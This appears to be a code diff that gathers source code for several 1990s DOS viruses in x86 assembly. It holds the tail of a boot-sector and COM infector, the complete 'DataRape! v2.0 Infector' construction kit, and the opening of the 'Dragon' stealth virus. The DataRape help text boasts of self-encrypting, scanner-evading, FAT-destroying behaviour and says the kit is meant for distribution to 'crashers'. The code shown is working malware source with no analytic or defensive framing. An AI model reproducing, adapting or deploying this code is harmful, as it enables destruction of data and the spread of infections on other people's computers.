mov ah,3fh ; read first 3 bytes
|
||||
mov cx,EntrySize
|
||||
mov dx,offset SavedCode
|
||||
call ReadWrite
|
||||
mov si,offset SavedCode
|
||||
mov di,offset ComEntry
|
||||
mov cx,EntrySize
|
||||
rep cmpsb
|
||||
je Return
|
||||
mov ax,4202h ; goto end of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call DOS
|
||||
or dx,dx
|
||||
ja Error
|
||||
cmp ax,0f000h
|
||||
ja Error
|
||||
add ax,0fh
|
||||
mov cl,4 ; prepare the com-entry
|
||||
shr ax,cl
|
||||
add ax,10h
|
||||
mov ComCS,ax
|
||||
sub ax,10h
|
||||
shl ax,cl ; goto end of file
|
||||
mov dx,ax
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
call DOS
|
||||
mov ah,40h ; write virus at the and of the
|
||||
mov cx,offset CodeSize ; com-file
|
||||
xor dx,dx
|
||||
call ReadWrite
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call DOS
|
||||
mov ah,40h
|
||||
mov cx,EntrySize
|
||||
mov dx,offset ComEntry
|
||||
call DOS
|
||||
jmp Return
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; This procedure infects the master bootsector of the first harddisk. There are
|
||||
; no registers saved.
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
InfectBoot:
|
||||
mov ah,30h ; installation check
|
||||
mov dx,0DEADh
|
||||
int 21h
|
||||
cmp ax,dx
|
||||
je Infected
|
||||
push cs ; ds=es=cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ax,201h ; read bootsector
|
||||
mov bx,offset OrginalBoot
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc Infected
|
||||
mov si,offset OrginalBoot ; compare bootsector with viral
|
||||
mov di,offset BootSector ; bootsector
|
||||
mov cx,BootSize
|
||||
repe cmpsb
|
||||
je Infected
|
||||
mov ax,300h+SectorCount ; write virus to disk
|
||||
xor bx,bx
|
||||
mov cx,2
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc Infected
|
||||
mov si,offset BootSector ; adjust bootsector
|
||||
mov di,offset OrginalBoot
|
||||
mov cx,BootSize
|
||||
rep movsb
|
||||
mov ax,301h ; write bootsector to disk
|
||||
mov bx,offset OrginalBoot
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h
|
||||
Infected:
|
||||
ret ; return to caller
|
||||
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; this is the main procedure, when starting up from an com-file, it will
|
||||
; check if the first harddisk is infected, if not it will infect it.
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
MainCOM:push ds
|
||||
mov dx,100h
|
||||
push dx
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset SavedCode
|
||||
mov di,dx
|
||||
mov cx,EntrySize
|
||||
rep movsb
|
||||
call InfectBoot
|
||||
pop es
|
||||
pop ds
|
||||
pop ax
|
||||
retf
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; this is the main procedure, when starting up from an exe-file, it will
|
||||
; check if the first harddisk is infected, if not it will infect it.
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
|
||||
MainEXE:push ax ; save registers
|
||||
push ds
|
||||
push es
|
||||
mov ax,ds ; adjust cs and ss
|
||||
add ax,10h
|
||||
add cs:OldCS,ax
|
||||
add cs:OldSS,ax
|
||||
call InfectBoot ; infect the bootsector
|
||||
pop es ; restore registers
|
||||
pop ds
|
||||
pop ax
|
||||
mov ss,cs:OldSS ; set ss:sp
|
||||
mov sp,cs:OldSP
|
||||
jmp cs:OldCSIP ; jump to orginal code
|
||||
|
||||
CodeSize equ $
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; the first part of the orginal bootsector is stored here
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
OrginalBoot db BootSize dup(0)
|
||||
CodeEnd equ $
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; the variables used by the virus when its resident are stored here
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
SavedInt8 dd 0 ; orginal interrupt 8
|
||||
SavedInt21 dd 0 ; orginal interrupt 21
|
||||
Handle dw 0 ; handle of first exe-file
|
||||
; opened
|
||||
Infect dw 0 ; offset infect procedure
|
||||
|
||||
Buffer equ this byte
|
||||
ExeHeader dw 0dh dup(0) ; exe-header is stored here
|
||||
|
||||
Signature equ ExeHeader[0] ; exe-signature 'MZ'
|
||||
PartPage equ ExeHeader[2] ; size of partitial page
|
||||
PageCount equ ExeHeader[4] ; number of pages (200h bytes)
|
||||
HeaderSize equ ExeHeader[8] ; size of the exe-header
|
||||
MinMem equ ExeHeader[0ah] ; minimum memory needed
|
||||
MaxMem equ ExeHeader[0ch] ; maximum memory needed
|
||||
ExeSS equ ExeHeader[0eh] ; SS
|
||||
ExeSP equ ExeHeader[10h] ; SP
|
||||
ChkSum equ ExeHeader[12h] ; checksum, DEAD if infected
|
||||
ExeIP equ ExeHeader[14h] ; IP
|
||||
ExeCS equ ExeHeader[16h] ; CS
|
||||
|
||||
DataEnd equ $
|
||||
|
||||
cseg ends
|
||||
|
||||
sseg segment stack 'stack'
|
||||
db 400h dup(?)
|
||||
sseg ends
|
||||
|
||||
end MainEXE
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,594 @@
|
|||
; DataRape! v2.0 Infector
|
||||
;
|
||||
; I know you won't dist this, DD. Sorry its a bit sloppy, but it works.
|
||||
;
|
||||
; - Zodiac (06/26/91)
|
||||
|
||||
|
||||
print macro
|
||||
call prints
|
||||
endm
|
||||
|
||||
cls macro
|
||||
call clrscr
|
||||
endm
|
||||
|
||||
code segment
|
||||
assume cs:code, ds:code
|
||||
org 100h
|
||||
|
||||
start: jmp main_menu
|
||||
|
||||
include loader.inc
|
||||
|
||||
main_menu_str db "DataRape! v2.0 Infector",13,10
|
||||
db "(c)1991 Zodiac of RABID",13,10
|
||||
db 13,10
|
||||
db "A. Information/Help",13,10
|
||||
db "B. Configure Virus",13,10
|
||||
db "C. View Scrolling",13,10
|
||||
db "D. Infect File",13,10
|
||||
db "E. Exit to Dos",13,10
|
||||
db 13,10
|
||||
db "Command: $"
|
||||
|
||||
help_scr db " DataRape! v2.0 Information/Help",13,10
|
||||
db 13,10
|
||||
db "DataRape! v2.0 is a mutating self-encrypting destructive stealth",13,10
|
||||
db "EXE/COM infector. It infects files upon execution, browsing,",13,10
|
||||
db "copying, and renaming. The encryption method changes randomly as",13,10
|
||||
db "does the encryption header. The virus should not be picked-up by",13,10
|
||||
db "conventional string scanners(ie SCAN). If so, it will be changed.",13,10
|
||||
db "After a specified number of successful loads to memory, the virus",13,10
|
||||
db "turns destructive and destroys all available FAT tables. It then",13,10
|
||||
db "proceeds to display a configurable scrolling message in",13,10
|
||||
db "configurable colors.",13,10
|
||||
db 13,10
|
||||
db "This infection program is self-explanatory, and is intended for",13,10
|
||||
db "general distribution to RABID's selected crashers. This virus has",13,10
|
||||
db "taken many, many hours away from my life. But, it was a pleasure",13,10
|
||||
db "programming and a new version will be released(shortly?).",13,10
|
||||
db 13,10
|
||||
db "Good Luck! Try not to get busted( trust me, it stinks. ).",13,10
|
||||
db 13,10
|
||||
db '"Fear the Government that Fears Your Computer!"',13,10
|
||||
db 13,10
|
||||
db " -- Zodiac of RABID, USA",13,10
|
||||
db 13,10
|
||||
db "P.S. I wrote this infector in assembly, can't you tell?$",13,10
|
||||
|
||||
config_scr db "DataRape! v2.0 Configuration",13,10
|
||||
db 13,10
|
||||
db "Loads before Destruction(20 recommended) : "
|
||||
db "$"
|
||||
config_2 db 13,10
|
||||
db 13,10
|
||||
db "Note: Press spacebar a few times at beginning or end of message.",13,10
|
||||
db 13,10
|
||||
db "Enter Scrolling Message: $"
|
||||
config_3 db 'Enter Colors in form: "bf", where "b" is the background and "f" the foreground.',13,10
|
||||
db ' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿',13,10
|
||||
db 'Colors: ³ FOREGROUND ONLY ³',13,10
|
||||
db ' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿³ ÚÄÄÄÄ',13,10
|
||||
db '0 : black 4 : red ³³ ³ 8 : light grey C : light red',13,10
|
||||
db '1 : blue 5 : magenta ³ÀÄ´ 9 : light blue D : light magenta'
|
||||
db '2 : green 6 : brown ÀÄÄ´ A : light greenta E : yellow',13,10
|
||||
db '3 : cyan 7 : white ³ B : light cyan F : bright white',13,10
|
||||
db ' ÀÄÄÄÄ',13,10
|
||||
db 13,10
|
||||
db 'Background Color : $'
|
||||
config_4 db 13,10
|
||||
db 'Border Color : $'
|
||||
config_5 db 13,10
|
||||
db 'Scroll Color : $'
|
||||
|
||||
color_s db "bf",8,8,"$"
|
||||
|
||||
infect_1 db "DataRape! v2.0 Infection",13,10
|
||||
db 13,10
|
||||
db "Finally...",13,10
|
||||
db 13,10
|
||||
db "It would be a good idea to View Scrolling before you infect a file",13,10
|
||||
db "to make sure you set up the colors right and the message is OK.",13,10
|
||||
db 13,10
|
||||
db "Who else but RABID would allow configurable colors? ",13,10
|
||||
db 13,10
|
||||
db "File to Infect : $"
|
||||
|
||||
infect_2 db 13,10
|
||||
db 13,10
|
||||
db "An attempt will be made to infect the selected file.",13,10
|
||||
db "If the file does not exist, or does not qualify for",13,10
|
||||
db "infection, it will not be. It is up to you to find",13,10
|
||||
db "out whether it worked or not. Remember, only COM and",13,10
|
||||
db "EXE files that are over 1885 bytes are infected.$"
|
||||
|
||||
infect_3 db 13,10
|
||||
db 13,10
|
||||
db "File Infection Successful. RABID - Keeping the Dream Alive!$"
|
||||
|
||||
infect_4 db 13,10
|
||||
db 13,10
|
||||
db "File Infection Unsuccessful!$"
|
||||
|
||||
infect_5 db 13,10
|
||||
db 13,10
|
||||
db "File Not Found$"
|
||||
|
||||
clrscr: mov ax,0003
|
||||
int 10h
|
||||
ret
|
||||
|
||||
prints: mov ah,9
|
||||
int 21h
|
||||
ret
|
||||
|
||||
get_key: mov ah,8
|
||||
int 21h
|
||||
ret
|
||||
|
||||
get_up_key: call get_key
|
||||
cmp al,"a"
|
||||
jb got_up
|
||||
cmp al,"z"
|
||||
ja got_up
|
||||
sub al,"a"-"A"
|
||||
got_up: ret
|
||||
|
||||
get_num: call get_key
|
||||
cmp al,27
|
||||
je got_num
|
||||
cmp al,"0"
|
||||
jb get_num
|
||||
cmp al,"9"
|
||||
ja get_num
|
||||
got_num: ret
|
||||
|
||||
nl: mov ah,0Eh
|
||||
mov al,13
|
||||
int 10h
|
||||
mov al,10
|
||||
int 10h
|
||||
ret
|
||||
|
||||
main_menu: cls
|
||||
|
||||
mov dx,offset main_menu_str
|
||||
print
|
||||
|
||||
main_key: call get_up_key
|
||||
|
||||
cmp al,"A"
|
||||
je info_help
|
||||
|
||||
cmp al,"B"
|
||||
je config
|
||||
cmp al,"C"
|
||||
jne is_it_d
|
||||
jmp view_scroll
|
||||
is_it_d: cmp al,"D"
|
||||
jne isitexit
|
||||
jmp infectfile
|
||||
isitexit: cmp al,"E"
|
||||
je exit
|
||||
cmp al,27
|
||||
je exit
|
||||
|
||||
jmp main_key
|
||||
|
||||
exit: jmp done
|
||||
|
||||
info_help: cls
|
||||
mov dx,offset help_scr
|
||||
print
|
||||
call get_key
|
||||
|
||||
info_done: jmp main_menu
|
||||
|
||||
config: cls
|
||||
mov dx,offset config_scr
|
||||
print
|
||||
mov cx,2
|
||||
get_freq: call get_num
|
||||
cmp al,27
|
||||
je info_done
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
sub al,"0"
|
||||
push ax
|
||||
loop get_freq
|
||||
pop bx
|
||||
pop ax
|
||||
mov cl,10
|
||||
mul cl
|
||||
add al,bl
|
||||
cmp al,2
|
||||
jb info_done
|
||||
mov countr,al
|
||||
|
||||
mov di,offset msg
|
||||
mov al,0
|
||||
mov cx,216
|
||||
rep stosb
|
||||
mov ah,9
|
||||
mov dx,offset config_2
|
||||
int 21h
|
||||
xor bx,bx
|
||||
mov ax,0AFAh
|
||||
mov cx,215
|
||||
int 10h
|
||||
mov ah,2
|
||||
mov dx,0619h
|
||||
int 10h
|
||||
mov si,offset msg
|
||||
mov di,si
|
||||
mov bp,0
|
||||
get_char_loop:call get_key
|
||||
cmp al,27
|
||||
je done_config
|
||||
cmp al,13
|
||||
je done_get
|
||||
cmp al,08
|
||||
jne no_back
|
||||
cmp bp,0
|
||||
je get_char_loop
|
||||
mov ah,3
|
||||
int 10h ; GETS INFO
|
||||
dec bp
|
||||
dec di
|
||||
cmp dl,0
|
||||
jne no_new_line
|
||||
dec dh
|
||||
mov dl,80
|
||||
no_new_line: dec dl
|
||||
mov ah,2
|
||||
int 10h
|
||||
mov ah,0Ah
|
||||
mov al,250
|
||||
mov cx,1
|
||||
int 10h
|
||||
jmp get_char_loop
|
||||
no_bacK: stosb
|
||||
inc bp
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
cmp bp,215
|
||||
je done_get
|
||||
jmp get_char_loop
|
||||
|
||||
done_get: mov al,0
|
||||
stosb
|
||||
mov ah,2
|
||||
mov dx,0A00h
|
||||
int 10h
|
||||
mov dx,offset config_3
|
||||
print
|
||||
mov si,offset back_round + 1
|
||||
call get_clr
|
||||
mov dx,offset config_4
|
||||
print
|
||||
mov si,offset bord_clr + 1
|
||||
call get_clr
|
||||
mov dx,offset config_5
|
||||
print
|
||||
mov si,offset scroll_clr + 1
|
||||
call get_clr
|
||||
|
||||
|
||||
done_config: jmp main_menu
|
||||
pop_done: pop ax
|
||||
jmp main_menu
|
||||
get_clr: mov dx,offset color_s
|
||||
print
|
||||
get_color: call get_key
|
||||
cmp al,27
|
||||
je done_config
|
||||
cmp al,"0"
|
||||
jb get_color
|
||||
cmp al,"7"
|
||||
ja get_color
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
sub al,"0"
|
||||
push ax
|
||||
get_color_2: call get_up_key
|
||||
cmp al,27
|
||||
je pop_done
|
||||
cmp al,"0"
|
||||
jb get_color_2
|
||||
cmp al,"9"
|
||||
ja maybe_char
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
sub al,"0"
|
||||
jmp short ok_clr_2
|
||||
maybe_char: cmp al,"A"
|
||||
jb get_color_2
|
||||
cmp al,"F"
|
||||
ja get_color_2
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
sub al,"A"-10
|
||||
ok_clr_2: pop cx
|
||||
push ax
|
||||
xor ax,ax
|
||||
mov al,cl
|
||||
mov cl,4
|
||||
shl al,cl
|
||||
pop cx
|
||||
add al,cl
|
||||
mov [si],al
|
||||
ret
|
||||
|
||||
view_scroll:
|
||||
|
||||
;************************
|
||||
|
||||
nuke: call rel
|
||||
rel: pop di
|
||||
sub di,offset rel - offset nuke
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,1
|
||||
int 10h ; 40 * 40 COLOR
|
||||
|
||||
mov ah,1
|
||||
mov cx,2020h
|
||||
int 10h ; NULS CURSOR
|
||||
|
||||
mov ax,0600h
|
||||
xor cx,cx
|
||||
mov dx,184Fh
|
||||
back_round: mov bh,12
|
||||
int 10h ; CLEARS BACKGROUND WINDOW
|
||||
|
||||
mov cx,0900h
|
||||
mov dx,094Fh
|
||||
scroll_clr: mov bh,4Fh
|
||||
int 10h ; CLEARS MESSAGE WINDOW
|
||||
|
||||
xor bx,bx
|
||||
mov dx,0800h
|
||||
mov ah,2
|
||||
int 10h
|
||||
|
||||
bord_clr: mov bx,02h ; clr
|
||||
mov cx,40
|
||||
mov ax,09C4h
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 10h
|
||||
|
||||
mov dx,0A00h
|
||||
mov ah,2
|
||||
int 10h
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
int 10h
|
||||
|
||||
mov dx,030Ch
|
||||
mov si,di
|
||||
add si,offset header-offset nuke
|
||||
mov cx,4
|
||||
head_print: mov ah,2
|
||||
int 10h
|
||||
xy_loop: lodsb
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
cmp al,0
|
||||
jne xy_loop
|
||||
inc dh
|
||||
loop head_print
|
||||
|
||||
|
||||
mov bp,39
|
||||
scroll: mov dx,0900h
|
||||
call xy
|
||||
cmp bp,1
|
||||
jb no_pad
|
||||
|
||||
mov cx,bp
|
||||
mov ax,0A20h
|
||||
int 10h
|
||||
add dx,cx
|
||||
call xy
|
||||
|
||||
mov cx,40
|
||||
sub cx,bp
|
||||
dec bp
|
||||
mov si,offset msg-offset nuke
|
||||
add si,di
|
||||
|
||||
jmp short sprint
|
||||
no_pad: mov cx,40
|
||||
inc si
|
||||
cmp byte ptr [si],0
|
||||
jne sprint
|
||||
mov si,offset msg-offset nuke
|
||||
add si,di
|
||||
sprint: push si
|
||||
call prnt
|
||||
pop si
|
||||
jmp short scroll
|
||||
|
||||
prnt:
|
||||
lodsb
|
||||
cmp al,0
|
||||
jne pchar
|
||||
mov si,offset msg-offset nuke
|
||||
add si,di
|
||||
jmp short prnt
|
||||
|
||||
pchar: mov ah,0Eh
|
||||
int 10h
|
||||
mov ah,1
|
||||
int 16h
|
||||
jc go_main_menu
|
||||
loop prnt
|
||||
mov cx,6
|
||||
main_pause: push cx
|
||||
mov cx,0FFFFh
|
||||
pause: loop pause
|
||||
pop cx
|
||||
loop main_pause
|
||||
done_pause: ret
|
||||
|
||||
go_main_menu: pop ax
|
||||
jmp main_menu
|
||||
|
||||
|
||||
xy: mov ah,2
|
||||
int 10h
|
||||
ret
|
||||
header db "DataRape! v2.0",0
|
||||
db "-CONFIGURABLE-",0
|
||||
db "(c)1991 Zodiac",0
|
||||
db " RABID, USA ",0
|
||||
|
||||
go_ret_infect:jmp main_menu
|
||||
|
||||
infectfile: cls
|
||||
mov dx,offset infect_1
|
||||
print
|
||||
mov ah,0Ah
|
||||
mov dx,offset file_in
|
||||
int 21h
|
||||
cmp chars,4
|
||||
jb go_ret_infect
|
||||
mov cx,61
|
||||
mov di,offset file_name
|
||||
mov al,13
|
||||
repne scasb
|
||||
mov byte ptr [di-1],0
|
||||
|
||||
mov ah,4Eh
|
||||
mov cx,0
|
||||
mov dx,offset file_name
|
||||
int 21h
|
||||
jnc file_found
|
||||
jmp bad_file
|
||||
|
||||
file_found:
|
||||
|
||||
mov ah,41h
|
||||
mov dx,offset loader
|
||||
int 21h
|
||||
|
||||
|
||||
; prepare loader
|
||||
mov si,offset file_name
|
||||
xor cx,cx
|
||||
mov cl,chars
|
||||
mov di,offset datarape+56
|
||||
rep movsb
|
||||
|
||||
mov si,offset msg
|
||||
mov di,offset dr_msg
|
||||
mov cx,215
|
||||
rep movsb
|
||||
|
||||
mov ah,byte ptr [back_round+1]
|
||||
mov al,byte ptr [scroll_clr+1]
|
||||
mov bl,byte ptr [bord_clr+1]
|
||||
|
||||
mov backclr,ah
|
||||
mov scrclr,al
|
||||
mov bordclr,bl
|
||||
|
||||
mov ah,3Ch
|
||||
mov cx,0
|
||||
mov dx,offset loader
|
||||
int 21h ; creates it
|
||||
jc go_ret_infect
|
||||
|
||||
mov bx,ax
|
||||
mov ah,40h
|
||||
mov cx,loadsize
|
||||
mov dx,offset datarape
|
||||
int 21h ; writes it
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ; closes it
|
||||
|
||||
call kill_cntr
|
||||
|
||||
mov bx,(code_done-start+110h)/16
|
||||
mov ah,4Ah
|
||||
int 21h
|
||||
|
||||
mov dx,offset loader
|
||||
mov bx,offset loader
|
||||
mov ax,4B00h
|
||||
int 21h ; exec file
|
||||
|
||||
call kill_cntr
|
||||
|
||||
mov ah,41h
|
||||
mov dx,offset loader
|
||||
int 21h ; kills loader
|
||||
|
||||
|
||||
mov ax,3D00h
|
||||
mov dx,offset file_name
|
||||
int 21h
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
|
||||
and cx,1Fh
|
||||
cmp cx,1Fh
|
||||
jne bad_infect
|
||||
|
||||
mov dx,offset infect_3
|
||||
print
|
||||
jmp short get_char
|
||||
|
||||
bad_infect: mov dx,offset infect_4
|
||||
print
|
||||
jmp short get_char
|
||||
|
||||
bad_file: mov dx,offset infect_5
|
||||
print
|
||||
get_char: call get_key
|
||||
|
||||
ret_infect: jmp main_menu
|
||||
kill_cntr: mov ah,19h
|
||||
int 21h
|
||||
add al,"A"
|
||||
mov byte ptr [offset nasty],al
|
||||
|
||||
mov dx,offset nasty
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
int 21h ; NULS ATTRIBUTES
|
||||
|
||||
|
||||
mov ah,41h
|
||||
int 21h ; Deletes Counter File
|
||||
ret
|
||||
|
||||
|
||||
done: cls
|
||||
int 20h
|
||||
|
||||
nasty db "A:\",0FFh,0FFh,0FFh,".",0FFh,0FFh,0
|
||||
badfile db "Bad File...$"
|
||||
loader db "LOADER.COM",0
|
||||
file_in db 60
|
||||
chars db 0
|
||||
file_name db 60 dup(0)
|
||||
msg db "RABID, INTERNATIONAL - Keeping the Dream Alive. (YOUR NAME HERE!)"
|
||||
|
||||
code_done equ $
|
||||
code ends
|
||||
end start
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,559 @@
|
|||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º MicroVirus Corp. ºÛÛ
|
||||
; º Author: anti ºÛÛ
|
||||
; º VIRUS FAMILY: Dragon ºÛÛ
|
||||
; º VERSION: 1.0 ºÛÛ
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
|
||||
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º Name: DARGON-1024 ³ Target: EXE, COM ºÛÛ
|
||||
; º Rating: Dangerous ³ Stealth: Yes ºÛÛ
|
||||
; º Tsr: Yes ³ Phantom: Yes ºÛÛ
|
||||
; º Arming: Yes ³ Danger(6): 4 ºÛÛ
|
||||
; º Attac Speed: Very Fast ³ Clock: No ºÛÛ
|
||||
; º Text Strings: Yes ³ Echo: Yes ºÛÛ
|
||||
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶÛÛ
|
||||
; º Find Next Target: SCANING ROOT DIRECTORY ºÛÛ
|
||||
; º Other viruses: none ºÛÛ
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
|
||||
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
code segment para 'code'
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
dragon proc
|
||||
mov di,offset Begin ;<3B> §è¨ä஢ª ¢¨àãá
|
||||
mov cx,1010
|
||||
|
||||
mov ax,00h ;Š«îç ¤«ï à áè¨ä஢ª¨ (¬¥ï¥âáï)
|
||||
Decode: xor word ptr [di],ax
|
||||
inc di
|
||||
loop Decode
|
||||
|
||||
Begin: mov ah,30h ;‡ ¯à 訢 ¥¬ ¢¥àá¨î
|
||||
int 21h ;DOS
|
||||
|
||||
cmp al,04h ;DOS 4.x+ : SI = 0
|
||||
sbb si,si ;DOS 2/3 : SI = -1
|
||||
|
||||
mov ah,52h ;‡ ¯à 訢 ¥¬ ¤¤à¥á DOS List of
|
||||
int 21h ;List ¢ ॣ¨áâàë ES:BX
|
||||
|
||||
lds bx,es:[bx] ;DS:BX 㪠§ë¢ ¥â ¯¥à¢ë© DPB
|
||||
;( Drive Parametr Block)
|
||||
search: mov ax,[bx+si+15h] ;‡ ¯à®á ᥣ¬¥â ¤à ©¢¥à
|
||||
cmp ax,70h ;<3B>â® ¤à ©¢¥à ¤¨áª ?
|
||||
jne next ;…᫨ ¥â ¢§ïâì á«¥¤ãî騩 ¤à ©¢.
|
||||
xchg ax,cx ;<3B>®¬¥áâ¨âì ᥣ¬¥â ¢ CX
|
||||
mov [bx+si+18h],byte ptr -1
|
||||
mov di,[bx+si+13h] ;‘®åà 塞 ᬥ饨¥ ¤à ©¢¥à
|
||||
;€¤à¥á ®à¨£¥ «ì®£® ¤à ©¢¥à
|
||||
;¢ CX:DI
|
||||
|
||||
mov [bx+si+13h],offset header ;‡ ¯¨á âì ¢ DPB è ᮡá⢥.
|
||||
mov [bx+si+15h],cs ;§ £®«®¢®ª ãáâனáâ¢
|
||||
next: lds bx,[bx+si+19h] ;‚§ïâì á«¥¤ãî騩 ¤à ©¢¥à
|
||||
cmp bx,-1 ;<3B>â® ¯®á«¥¤¨© ¤à ©¢¥à?
|
||||
jne search ;<3B>᫨ ¥â ¯à®¢¥à¨âì ¥£®
|
||||
|
||||
mov ds,cx ;DS : ᥣ¬¥â ®à¨£¥ «ì®£®
|
||||
;¤à ©¢¥à
|
||||
les ax,[di+6] ;ES : ¯à®æ¥¤ãà ¯à¥àë¢ ¨ï
|
||||
;AX : ¯à®æ¥¤ãà áâà ⥣¨¨
|
||||
|
||||
mov word ptr cs:Strat,ax ;‡ ¯®¬¨âì í⨠¤¢ ¤à¥á
|
||||
mov word ptr cs:Intr,es ;¤«ï ¤®«¥©è¥£® ¨á¯®«ì§®¢ ¨ï
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov bx,128 ;Žá¢®¡®¤¨âì ¢áî ¯ ¬ïâì ªà®¬¥
|
||||
mov ah,4ah ;2048 ¡ ©â
|
||||
int 21h
|
||||
|
||||
mov ax,cs ;AX : ¤à¥á 襣® MCB
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov word ptr es:[01h],08h ;Œ ᪨à㥬áï ¯®¤ DOS
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov byte ptr Drive+1,-1 ;‘¡à áë¢ ¥¬ ®¬¥à ¤¨áª
|
||||
|
||||
mov dx,offset File ;‡ à ¦ ¥¬ ⥪ã騩 ª ⮫®£
|
||||
mov ah,3dh ;¤¨áª C:
|
||||
int 21h
|
||||
|
||||
mov bx,ds:[2ch] ;Žá¢®¡®¦¤ ¥¬ ¯ ¬ïâì § ïâãî
|
||||
mov es,bx ;PSP
|
||||
mov ah,49h
|
||||
int 21h
|
||||
xor ax,ax
|
||||
test bx,bx ;BX = 0?
|
||||
jz boot ;…᫨ ¤ , â® ¬ë § à §¨«¨ ¯ ¬ïâì
|
||||
mov di,1 ;¨ ¥ § ãá⨫¨ § à ¦¥ë© ä ©«
|
||||
seek: dec di ;<3B>®¨áª ª®æ ¡«®ª ¤ ëå DOS
|
||||
scasw
|
||||
jne seek
|
||||
lea dx,[di+2] ;SI 㪠§ë¢ ¥â ¨¬ï § à ¦¥®£®
|
||||
push es ;ä ©«
|
||||
jmp short exec
|
||||
|
||||
boot: mov es,ds:[16h] ;<3B>®«ãç¨âì ¤à¥á PSP
|
||||
mov bx,es:[16h]
|
||||
dec bx ;‚§ïâì ¥£® MCB
|
||||
xor dx,dx
|
||||
push es
|
||||
|
||||
exec: push bx ;“áâ ®¢¨âì ¡«®ª ¯ à ¬¥â஢
|
||||
mov bx,offset param ; ¤à¥á ª®¬¬ ¤®© áâப¨
|
||||
mov [bx+4],cs ;€¤à¥á ¯¥à¢®£® FCB
|
||||
mov [bx+8],cs ;€¤à¥á ¢â®à®£® FCB
|
||||
mov [bx+12],cs
|
||||
pop ds
|
||||
|
||||
mov ax,4b00h ;‡ ¯ãáâ¨âì § à ¦¥ë© ä ©«
|
||||
int 21h
|
||||
mov ah,4ch ;‚ë©â¨ ¢ DOS
|
||||
int 21h
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Device Driver's Strategy Block *** Û
|
||||
